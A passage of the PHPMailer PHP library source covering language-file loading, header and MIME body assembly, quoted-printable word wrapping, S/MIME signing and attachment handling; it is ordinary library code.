2056 $PHPMAILER_LANG = array(
2057 'authenticate' => 'SMTP Error: Could not authenticate.',
2058 'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
2059 'data_not_accepted' => 'SMTP Error: data not accepted.',
2060 'empty_message' => 'Message body empty',
2061 'encoding' => 'Unknown encoding: ',
2062 'execute' => 'Could not execute: ',
2063 'file_access' => 'Could not access file: ',
2064 'file_open' => 'File Error: Could not open file: ',
2065 'from_failed' => 'The following From address failed: ',
2066 'instantiate' => 'Could not instantiate mail function.',
2067 'invalid_address' => 'Invalid address: ',
2068 'mailer_not_supported' => ' mailer is not supported.',
2069 'provide_address' => 'You must provide at least one recipient email address.',
2070 'recipients_failed' => 'SMTP Error: The following recipients failed: ',
2071 'signing' => 'Signing Error: ',
2072 'smtp_connect_failed' => 'SMTP connect() failed.',
2073 'smtp_error' => 'SMTP server error: ',
2074 'variable_set' => 'Cannot set or reset variable: ',
2075 'extension_missing' => 'Extension missing: '
2076 );
2077 if (empty($lang_path)) {
2078 // Calculate an absolute path so it can work if CWD is not here
2079 $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
2080 }
2081 //Validate $langcode
2082 if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
2083 $langcode = 'en';
2084 }
2085 $foundlang = true;
2086 $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
2087 // There is no English translation file
2088 if ($langcode != 'en') {
2089 // Make sure language file path is readable
2090 if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
2091 $foundlang = false;
2092 } else {
2093 // Overwrite language-specific strings.
2094 // This way we'll never have missing translation keys.
2095 $foundlang = include $lang_file;
2096 }
2097 }
2098 $this->language = $PHPMAILER_LANG;
2099 return (boolean)$foundlang; // Returns false if language not found
2100 }
2101
2102 /**
2103 * Get the array of strings for the current language.
2104 * @return array
2105 */
2106 public function getTranslations()
2107 {
2108 return $this->language;
2109 }
2110
2111 /**
2112 * Create recipient headers.
2113 * @access public
2114 * @param string $type
2115 * @param array $addr An array of recipient,
2116 * where each recipient is a 2-element indexed array with element 0 containing an address
2117 * and element 1 containing a name, like:
2118 * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
2119 * @return string
2120 */
2121 public function addrAppend($type, $addr)
2122 {
2123 $addresses = array();
2124 foreach ($addr as $address) {
2125 $addresses[] = $this->addrFormat($address);
2126 }
2127 return $type . ': ' . implode(', ', $addresses) . $this->LE;
2128 }
2129
2130 /**
2131 * Format an address for use in a message header.
2132 * @access public
2133 * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
2134 * like array('joe@example.com', 'Joe User')
2135 * @return string
2136 */
2137 public function addrFormat($addr)
2138 {
2139 if (empty($addr[1])) { // No name provided
2140 return $this->secureHeader($addr[0]);
2141 } else {
2142 return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
2143 $addr[0]
2144 ) . '>';
2145 }
2146 }
2147
2148 /**
2149 * Word-wrap message.
2150 * For use with mailers that do not automatically perform wrapping
2151 * and for quoted-printable encoded messages.
2152 * Original written by philippe.
2153 * @param string $message The message to wrap
2154 * @param integer $length The line length to wrap to
2155 * @param boolean $qp_mode Whether to run in Quoted-Printable mode
2156 * @access public
2157 * @return string
2158 */
2159 public function wrapText($message, $length, $qp_mode = false)
2160 {
2161 if ($qp_mode) {
2162 $soft_break = sprintf(' =%s', $this->LE);
2163 } else {
2164 $soft_break = $this->LE;
2165 }
2166 // If utf-8 encoding is used, we will need to make sure we don't
2167 // split multibyte characters when we wrap
2168 $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
2169 $lelen = strlen($this->LE);
2170 $crlflen = strlen(self::CRLF);
2171
2172 $message = $this->fixEOL($message);
2173 //Remove a trailing line break
2174 if (substr($message, -$lelen) == $this->LE) {
2175 $message = substr($message, 0, -$lelen);
2176 }
2177
2178 //Split message into lines
2179 $lines = explode($this->LE, $message);
2180 //Message will be rebuilt in here
2181 $message = '';
2182 foreach ($lines as $line) {
2183 $words = explode(' ', $line);
2184 $buf = '';
2185 $firstword = true;
2186 foreach ($words as $word) {
2187 if ($qp_mode and (strlen($word) > $length)) {
2188 $space_left = $length - strlen($buf) - $crlflen;
2189 if (!$firstword) {
2190 if ($space_left > 20) {
2191 $len = $space_left;
2192 if ($is_utf8) {
2193 $len = $this->utf8CharBoundary($word, $len);
2194 } elseif (substr($word, $len - 1, 1) == '=') {
2195 $len--;
2196 } elseif (substr($word, $len - 2, 1) == '=') {
2197 $len -= 2;
2198 }
2199 $part = substr($word, 0, $len);
2200 $word = substr($word, $len);
2201 $buf .= ' ' . $part;
2202 $message .= $buf . sprintf('=%s', self::CRLF);
2203 } else {
2204 $message .= $buf . $soft_break;
2205 }
2206 $buf = '';
2207 }
2208 while (strlen($word) > 0) {
2209 if ($length <= 0) {
2210 break;
2211 }
2212 $len = $length;
2213 if ($is_utf8) {
2214 $len = $this->utf8CharBoundary($word, $len);
2215 } elseif (substr($word, $len - 1, 1) == '=') {
2216 $len--;
2217 } elseif (substr($word, $len - 2, 1) == '=') {
2218 $len -= 2;
2219 }
2220 $part = substr($word, 0, $len);
2221 $word = substr($word, $len);
2222
2223 if (strlen($word) > 0) {
2224 $message .= $part . sprintf('=%s', self::CRLF);
2225 } else {
2226 $buf = $part;
2227 }
2228 }
2229 } else {
2230 $buf_o = $buf;
2231 if (!$firstword) {
2232 $buf .= ' ';
2233 }
2234 $buf .= $word;
2235
2236 if (strlen($buf) > $length and $buf_o != '') {
2237 $message .= $buf_o . $soft_break;
2238 $buf = $word;
2239 }
2240 }
2241 $firstword = false;
2242 }
2243 $message .= $buf . self::CRLF;
2244 }
2245
2246 return $message;
2247 }
2248
2249 /**
2250 * Find the last character boundary prior to $maxLength in a utf-8
2251 * quoted-printable encoded string.
2252 * Original written by Colin Brown.
2253 * @access public
2254 * @param string $encodedText utf-8 QP text
2255 * @param integer $maxLength Find the last character boundary prior to this length
2256 * @return integer
2257 */
2258 public function utf8CharBoundary($encodedText, $maxLength)
2259 {
2260 $foundSplitPos = false;
2261 $lookBack = 3;
2262 while (!$foundSplitPos) {
2263 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2264 $encodedCharPos = strpos($lastChunk, '=');
2265 if (false !== $encodedCharPos) {
2266 // Found start of encoded character byte within $lookBack block.
2267 // Check the encoded byte value (the 2 chars after the '=')
2268 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2269 $dec = hexdec($hex);
2270 if ($dec < 128) {
2271 // Single byte character.
2272 // If the encoded char was found at pos 0, it will fit
2273 // otherwise reduce maxLength to start of the encoded char
2274 if ($encodedCharPos > 0) {
2275 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2276 }
2277 $foundSplitPos = true;
2278 } elseif ($dec >= 192) {
2279 // First byte of a multi byte character
2280 // Reduce maxLength to split at start of character
2281 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2282 $foundSplitPos = true;
2283 } elseif ($dec < 192) {
2284 // Middle byte of a multi byte character, look further back
2285 $lookBack += 3;
2286 }
2287 } else {
2288 // No encoded character found
2289 $foundSplitPos = true;
2290 }
2291 }
2292 return $maxLength;
2293 }
2294
2295 /**
2296 * Apply word wrapping to the message body.
2297 * Wraps the message body to the number of chars set in the WordWrap property.
2298 * You should only do this to plain-text bodies as wrapping HTML tags may break them.
2299 * This is called automatically by createBody(), so you don't need to call it yourself.
2300 * @access public
2301 * @return void
2302 */
2303 public function setWordWrap()
2304 {
2305 if ($this->WordWrap < 1) {
2306 return;
2307 }
2308
2309 switch ($this->message_type) {
2310 case 'alt':
2311 case 'alt_inline':
2312 case 'alt_attach':
2313 case 'alt_inline_attach':
2314 $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
2315 break;
2316 default:
2317 $this->Body = $this->wrapText($this->Body, $this->WordWrap);
2318 break;
2319 }
2320 }
2321
2322 /**
2323 * Assemble message headers.
2324 * @access public
2325 * @return string The assembled headers
2326 */
2327 public function createHeader()
2328 {
2329 $result = '';
2330
2331 $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);
2332
2333 // To be created automatically by mail()
2334 if ($this->SingleTo) {
2335 if ($this->Mailer != 'mail') {
2336 foreach ($this->to as $toaddr) {
2337 $this->SingleToArray[] = $this->addrFormat($toaddr);
2338 }
2339 }
2340 } else {
2341 if (count($this->to) > 0) {
2342 if ($this->Mailer != 'mail') {
2343 $result .= $this->addrAppend('To', $this->to);
2344 }
2345 } elseif (count($this->cc) == 0) {
2346 $result .= $this->headerLine('To', 'undisclosed-recipients:;');
2347 }
2348 }
2349
2350 $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
2351
2352 // sendmail and mail() extract Cc from the header before sending
2353 if (count($this->cc) > 0) {
2354 $result .= $this->addrAppend('Cc', $this->cc);
2355 }
2356
2357 // sendmail and mail() extract Bcc from the header before sending
2358 if ((
2359 $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
2360 )
2361 and count($this->bcc) > 0
2362 ) {
2363 $result .= $this->addrAppend('Bcc', $this->bcc);
2364 }
2365
2366 if (count($this->ReplyTo) > 0) {
2367 $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
2368 }
2369
2370 // mail() sets the subject itself
2371 if ($this->Mailer != 'mail') {
2372 $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
2373 }
2374
2375 // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
2376 // https://tools.ietf.org/html/rfc5322#section-3.6.4
2377 if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
2378 $this->lastMessageID = $this->MessageID;
2379 } else {
2380 $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
2381 }
2382 $result .= $this->headerLine('Message-ID', $this->lastMessageID);
2383 if (!is_null($this->Priority)) {
2384 $result .= $this->headerLine('X-Priority', $this->Priority);
2385 }
2386 if ($this->XMailer == '') {
2387 $result .= $this->headerLine(
2388 'X-Mailer',
2389 'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
2390 );
2391 } else {
2392 $myXmailer = trim($this->XMailer);
2393 if ($myXmailer) {
2394 $result .= $this->headerLine('X-Mailer', $myXmailer);
2395 }
2396 }
2397
2398 if ($this->ConfirmReadingTo != '') {
2399 $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
2400 }
2401
2402 // Add custom headers
2403 foreach ($this->CustomHeader as $header) {
2404 $result .= $this->headerLine(
2405 trim($header[0]),
2406 $this->encodeHeader(trim($header[1]))
2407 );
2408 }
2409 if (!$this->sign_key_file) {
2410 $result .= $this->headerLine('MIME-Version', '1.0');
2411 $result .= $this->getMailMIME();
2412 }
2413
2414 return $result;
2415 }
2416
2417 /**
2418 * Get the message MIME type headers.
2419 * @access public
2420 * @return string
2421 */
2422 public function getMailMIME()
2423 {
2424 $result = '';
2425 $ismultipart = true;
2426 switch ($this->message_type) {
2427 case 'inline':
2428 $result .= $this->headerLine('Content-Type', 'multipart/related;');
2429 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
2430 break;
2431 case 'attach':
2432 case 'inline_attach':
2433 case 'alt_attach':
2434 case 'alt_inline_attach':
2435 $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
2436 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
2437 break;
2438 case 'alt':
2439 case 'alt_inline':
2440 $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
2441 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
2442 break;
2443 default:
2444 // Catches case 'plain': and case '':
2445 $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
2446 $ismultipart = false;
2447 break;
2448 }
2449 // RFC1341 part 5 says 7bit is assumed if not specified
2450 if ($this->Encoding != '7bit') {
2451 // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
2452 if ($ismultipart) {
2453 if ($this->Encoding == '8bit') {
2454 $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
2455 }
2456 // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
2457 } else {
2458 $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
2459 }
2460 }
2461
2462 if ($this->Mailer != 'mail') {
2463 $result .= $this->LE;
2464 }
2465
2466 return $result;
2467 }
2468
2469 /**
2470 * Returns the whole MIME message.
2471 * Includes complete headers and body.
2472 * Only valid post preSend().
2473 * @see PHPMailer::preSend()
2474 * @access public
2475 * @return string
2476 */
2477 public function getSentMIMEMessage()
2478 {
2479 return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
2480 }
2481
2482 /**
2483 * Create unique ID
2484 * @return string
2485 */
2486 protected function generateId() {
2487 return md5(uniqid(time()));
2488 }
2489
2490 /**
2491 * Assemble the message body.
2492 * Returns an empty string on failure.
2493 * @access public
2494 * @throws phpmailerException
2495 * @return string The assembled message body
2496 */
2497 public function createBody()
2498 {
2499 $body = '';
2500 //Create unique IDs and preset boundaries
2501 $this->uniqueid = $this->generateId();
2502 $this->boundary[1] = 'b1_' . $this->uniqueid;
2503 $this->boundary[2] = 'b2_' . $this->uniqueid;
2504 $this->boundary[3] = 'b3_' . $this->uniqueid;
2505
2506 if ($this->sign_key_file) {
2507 $body .= $this->getMailMIME() . $this->LE;
2508 }
2509
2510 $this->setWordWrap();
2511
2512 $bodyEncoding = $this->Encoding;
2513 $bodyCharSet = $this->CharSet;
2514 //Can we do a 7-bit downgrade?
2515 if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
2516 $bodyEncoding = '7bit';
2517 //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
2518 $bodyCharSet = 'us-ascii';
2519 }
2520 //If lines are too long, and we're not already using an encoding that will shorten them,
2521 //change to quoted-printable transfer encoding for the body part only
2522 if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
2523 $bodyEncoding = 'quoted-printable';
2524 }
2525
2526 $altBodyEncoding = $this->Encoding;
2527 $altBodyCharSet = $this->CharSet;
2528 //Can we do a 7-bit downgrade?
2529 if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
2530 $altBodyEncoding = '7bit';
2531 //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
2532 $altBodyCharSet = 'us-ascii';
2533 }
2534 //If lines are too long, and we're not already using an encoding that will shorten them,
2535 //change to quoted-printable transfer encoding for the alt body part only
2536 if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
2537 $altBodyEncoding = 'quoted-printable';
2538 }
2539 //Use this as a preamble in all multipart message types
2540 $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
2541 switch ($this->message_type) {
2542 case 'inline':
2543 $body .= $mimepre;
2544 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
2545 $body .= $this->encodeString($this->Body, $bodyEncoding);
2546 $body .= $this->LE . $this->LE;
2547 $body .= $this->attachAll('inline', $this->boundary[1]);
2548 break;
2549 case 'attach':
2550 $body .= $mimepre;
2551 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
2552 $body .= $this->encodeString($this->Body, $bodyEncoding);
2553 $body .= $this->LE . $this->LE;
2554 $body .= $this->attachAll('attachment', $this->boundary[1]);
2555 break;
2556 case 'inline_attach':
2557 $body .= $mimepre;
2558 $body .= $this->textLine('--' . $this->boundary[1]);
2559 $body .= $this->headerLine('Content-Type', 'multipart/related;');
2560 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
2561 $body .= $this->LE;
2562 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
2563 $body .= $this->encodeString($this->Body, $bodyEncoding);
2564 $body .= $this->LE . $this->LE;
2565 $body .= $this->attachAll('inline', $this->boundary[2]);
2566 $body .= $this->LE;
2567 $body .= $this->attachAll('attachment', $this->boundary[1]);
2568 break;
2569 case 'alt':
2570 $body .= $mimepre;
2571 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
2572 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
2573 $body .= $this->LE . $this->LE;
2574 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
2575 $body .= $this->encodeString($this->Body, $bodyEncoding);
2576 $body .= $this->LE . $this->LE;
2577 if (!empty($this->Ical)) {
2578 $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
2579 $body .= $this->encodeString($this->Ical, $this->Encoding);
2580 $body .= $this->LE . $this->LE;
2581 }
2582 $body .= $this->endBoundary($this->boundary[1]);
2583 break;
2584 case 'alt_inline':
2585 $body .= $mimepre;
2586 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
2587 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
2588 $body .= $this->LE . $this->LE;
2589 $body .= $this->textLine('--' . $this->boundary[1]);
2590 $body .= $this->headerLine('Content-Type', 'multipart/related;');
2591 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
2592 $body .= $this->LE;
2593 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
2594 $body .= $this->encodeString($this->Body, $bodyEncoding);
2595 $body .= $this->LE . $this->LE;
2596 $body .= $this->attachAll('inline', $this->boundary[2]);
2597 $body .= $this->LE;
2598 $body .= $this->endBoundary($this->boundary[1]);
2599 break;
2600 case 'alt_attach':
2601 $body .= $mimepre;
2602 $body .= $this->textLine('--' . $this->boundary[1]);
2603 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
2604 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
2605 $body .= $this->LE;
2606 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
2607 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
2608 $body .= $this->LE . $this->LE;
2609 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
2610 $body .= $this->encodeString($this->Body, $bodyEncoding);
2611 $body .= $this->LE . $this->LE;
2612 $body .= $this->endBoundary($this->boundary[2]);
2613 $body .= $this->LE;
2614 $body .= $this->attachAll('attachment', $this->boundary[1]);
2615 break;
2616 case 'alt_inline_attach':
2617 $body .= $mimepre;
2618 $body .= $this->textLine('--' . $this->boundary[1]);
2619 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
2620 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
2621 $body .= $this->LE;
2622 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
2623 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
2624 $body .= $this->LE . $this->LE;
2625 $body .= $this->textLine('--' . $this->boundary[2]);
2626 $body .= $this->headerLine('Content-Type', 'multipart/related;');
2627 $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
2628 $body .= $this->LE;
2629 $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
2630 $body .= $this->encodeString($this->Body, $bodyEncoding);
2631 $body .= $this->LE . $this->LE;
2632 $body .= $this->attachAll('inline', $this->boundary[3]);
2633 $body .= $this->LE;
2634 $body .= $this->endBoundary($this->boundary[2]);
2635 $body .= $this->LE;
2636 $body .= $this->attachAll('attachment', $this->boundary[1]);
2637 break;
2638 default:
2639 // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
2640 //Reset the `Encoding` property in case we changed it for line length reasons
2641 $this->Encoding = $bodyEncoding;
2642 $body .= $this->encodeString($this->Body, $this->Encoding);
2643 break;
2644 }
2645
2646 if ($this->isError()) {
2647 $body = '';
2648 } elseif ($this->sign_key_file) {
2649 try {
2650 if (!defined('PKCS7_TEXT')) {
2651 throw new phpmailerException($this->lang('extension_missing') . 'openssl');
2652 }
2653 // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
2654 $file = tempnam(sys_get_temp_dir(), 'mail');
2655 if (false === file_put_contents($file, $body)) {
2656 throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
2657 }
2658 $signed = tempnam(sys_get_temp_dir(), 'signed');
2659 //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
2660 if (empty($this->sign_extracerts_file)) {
2661 $sign = @openssl_pkcs7_sign(
2662 $file,
2663 $signed,
2664 'file://' . realpath($this->sign_cert_file),
2665 array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
2666 null
2667 );
2668 } else {
2669 $sign = @openssl_pkcs7_sign(
2670 $file,
2671 $signed,
2672 'file://' . realpath($this->sign_cert_file),
2673 array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
2674 null,
2675 PKCS7_DETACHED,
2676 $this->sign_extracerts_file
2677 );
2678 }
2679 if ($sign) {
2680 @unlink($file);
2681 $body = file_get_contents($signed);
2682 @unlink($signed);
2683 //The message returned by openssl contains both headers and body, so need to split them up
2684 $parts = explode("\n\n", $body, 2);
2685 $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
2686 $body = $parts[1];
2687 } else {
2688 @unlink($file);
2689 @unlink($signed);
2690 throw new phpmailerException($this->lang('signing') . openssl_error_string());
2691 }
2692 } catch (phpmailerException $exc) {
2693 $body = '';
2694 if ($this->exceptions) {
2695 throw $exc;
2696 }
2697 }
2698 }
2699 return $body;
2700 }
2701
2702 /**
2703 * Return the start of a message boundary.
2704 * @access protected
2705 * @param string $boundary
2706 * @param string $charSet
2707 * @param string $contentType
2708 * @param string $encoding
2709 * @return string
2710 */
2711 protected function getBoundary($boundary, $charSet, $contentType, $encoding)
2712 {
2713 $result = '';
2714 if ($charSet == '') {
2715 $charSet = $this->CharSet;
2716 }
2717 if ($contentType == '') {
2718 $contentType = $this->ContentType;
2719 }
2720 if ($encoding == '') {
2721 $encoding = $this->Encoding;
2722 }
2723 $result .= $this->textLine('--' . $boundary);
2724 $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
2725 $result .= $this->LE;
2726 // RFC1341 part 5 says 7bit is assumed if not specified
2727 if ($encoding != '7bit') {
2728 $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
2729 }
2730 $result .= $this->LE;
2731
2732 return $result;
2733 }
2734
2735 /**
2736 * Return the end of a message boundary.
2737 * @access protected
2738 * @param string $boundary
2739 * @return string
2740 */
2741 protected function endBoundary($boundary)
2742 {
2743 return $this->LE . '--' . $boundary . '--' . $this->LE;
2744 }
2745
2746 /**
2747 * Set the message type.
2748 * PHPMailer only supports some preset message types, not arbitrary MIME structures.
2749 * @access protected
2750 * @return void
2751 */
2752 protected function setMessageType()
2753 {
2754 $type = array();
2755 if ($this->alternativeExists()) {
2756 $type[] = 'alt';
2757 }
2758 if ($this->inlineImageExists()) {
2759 $type[] = 'inline';
2760 }
2761 if ($this->attachmentExists()) {
2762 $type[] = 'attach';
2763 }
2764 $this->message_type = implode('_', $type);
2765 if ($this->message_type == '') {
2766 //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
2767 $this->message_type = 'plain';
2768 }
2769 }
2770
2771 /**
2772 * Format a header line.
2773 * @access public
2774 * @param string $name
2775 * @param string $value
2776 * @return string
2777 */
2778 public function headerLine($name, $value)
2779 {
2780 return $name . ': ' . $value . $this->LE;
2781 }
2782
2783 /**
2784 * Return a formatted mail line.
2785 * @access public
2786 * @param string $value
2787 * @return string
2788 */
2789 public function textLine($value)
2790 {
2791 return $value . $this->LE;
2792 }
2793
2794 /**
2795 * Add an attachment from a path on the filesystem.
2796 * Never use a user-supplied path to a file!
2797 * Returns false if the file could not be found or read.
2798 * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
2799 * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
2800 * @param string $path Path to the attachment.
2801 * @param string $name Overrides the attachment name.
2802 * @param string $encoding File encoding (see $Encoding).
2803 * @param string $type File extension (MIME) type.
2804 * @param string $disposition Disposition to use
2805 * @throws phpmailerException
2806 * @return boolean
2807 */
2808 public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
2809 {
2810 try {
2811 if (!self::isPermittedPath($path) or !@is_file($path)) {
2812 throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
2813 }
2814
2815 // If a MIME type is not specified, try to work it out from the file name
2816 if ($type == '') {
2817 $type = self::filenameToType($path);
2818 }
2819
2820 $filename = basename($path);
2821 if ($name == '') {
2822 $name = $filename;
2823 }
2824
2825 $this->attachment[] = array(
2826 0 => $path,
2827 1 => $filename,
2828 2 => $name,
2829 3 => $encoding,
2830 4 => $type,
2831 5 => false, // isStringAttachment
2832 6 => $disposition,
2833 7 => 0
2834 );
2835
2836 } catch (phpmailerException $exc) {
2837 $this->setError($exc->getMessage());
2838 $this->edebug($exc->getMessage());
2839 if ($this->exceptions) {
2840 throw $exc;
2841 }
2842 return false;
2843 }
2844 return true;
2845 }
2846
2847 /**
2848 * Return the array of attachments.
2849 * @return array
2850 */
2851 public function getAttachments()
2852 {
2853 return $this->attachment;
2854 }
2855
2856 /**
2857 * Attach all file, string, and binary attachments to the message.
2858 * Returns an empty string on failure.
2859 * @access protected
2860 * @param string $disposition_type
2861 * @param string $boundary
2862 * @return string
2863 */
2864 protected function attachAll($disposition_type, $boundary)
2865 {
2866 // Return text of body
2867 $mime = array();
2868 $cidUniq = array();
2869 $incl = array();
2870
2871 // Add all attachments
2872 foreach ($this->attachment as $attachment) {
2873 // Check if it is a valid disposition_filter
2874 if ($attachment[6] == $disposition_type) {
2875 // Check for string attachment
2876 $string = '';
2877 $path = '';
2878 $bString = $attachment[5];
2879 if ($bString) {
2880 $string = $attachment[0];
2881 } else {
2882 $path = $attachment[0];
2883 }
2884
2885 $inclhash = md5(serialize($attachment));
2886 if (in_array($inclhash, $incl)) {
2887 continue;
2888 }
2889 $incl[] = $inclhash;
2890 $name = $attachment[2];
2891 $encoding = $attachment[3];
2892 $type = $attachment[4];
2893 $disposition = $attachment[6];
2894 $cid = $attachment[7];
2895 if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
2896 continue;
2897 }
2898 $cidUniq[$cid] = true;
2899
2900 $mime[] = sprintf('--%s%s', $boundary, $this->LE);
2901 //Only include a filename property if we have one
2902 if (!empty($name)) {
2903 $mime[] = sprintf(
2904 'Content-Type: %s; name="%s"%s',
2905 $type,
2906 $this->encodeHeader($this->secureHeader($name)),
2907 $this->LE
2908 );
2909 } else {
2910 $mime[] = sprintf(
2911 'Content-Type: %s%s',
2912 $type,
2913 $this->LE
2914 );
2915 }
2916 // RFC1341 part 5 says 7bit is assumed if not specified
2917 if ($encoding != '7bit') {
2918 $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
2919 }
2920
2921 if ($disposition == 'inline') {
2922 $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
2923 }
2924
2925 // If a filename contains any of these chars, it should be quoted,
2926 // but not otherwise: RFC2183 & RFC2045 5.1
2927 // Fixes a warning in IETF's msglint MIME checker
2928 // Allow for bypassing the Content-Disposition header totally
2929 if (!(empty($disposition))) {
2930 $encoded_name = $this->encodeHeader($this->secureHeader($name));
2931 if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
2932 $mime[] = sprintf(
2933 'Content-Disposition: %s; filename="%s"%s',
2934 $disposition,
2935 $encoded_name,
2936 $this->LE . $this->LE
2937 );
2938 } else {
2939 if (!empty($encoded_name)) {
2940 $mime[] = sprintf(
2941 'Content-Disposition: %s; filename=%s%s',
2942 $disposition,
2943 $encoded_name,
2944 $this->LE . $this->LE
2945 );
2946 } else {
2947 $mime[] = sprintf(
2948 'Content-Disposition: %s%s',
2949 $disposition,
2950 $this->LE . $this->LE
2951 );
2952 }
2953 }
2954 } else {
2955 $mime[] = $this->LE;
2956 }
2957
2958 // Encode as string attachment
2959 if ($bString) {
2960 $mime[] = $this->encodeString($string, $encoding);
2961 if ($this->isError()) {
2962 return '';
2963 }
2964 $mime[] = $this->LE . $this->LE;
2965 } else {
2966 $mime[] = $this->encodeFile($path, $encoding);
2967 if ($this->isError()) {
2968 return '';
2969 }
2970 $mime[] = $this->LE . $this->LE;
2971 }
2972 }
2973 }
2974
2975 $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
2976
2977 return implode('', $mime);
2978 }
2979
2980 /**
2981 * Encode a file attachment in requested format.
2982 * Returns an empty string on failure.
2983 * @param string $path The full path to the file
2984 * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
2985 * @throws phpmailerException
2986 * @access protected
2987 * @return string
2988 */
2989 protected function encodeFile($path, $encoding = 'base64')
2990 {
2991 try {
2992 if (!self::isPermittedPath($path) or !file_exists($path)) {
2993 throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
2994 }
2995 $magic_quotes = false;
2996 if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
2997 $magic_quotes = get_magic_quotes_runtime();
2998 }
2999 if ($magic_quotes) {
3000 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
3001 set_magic_quotes_runtime(false);
3002 } else {
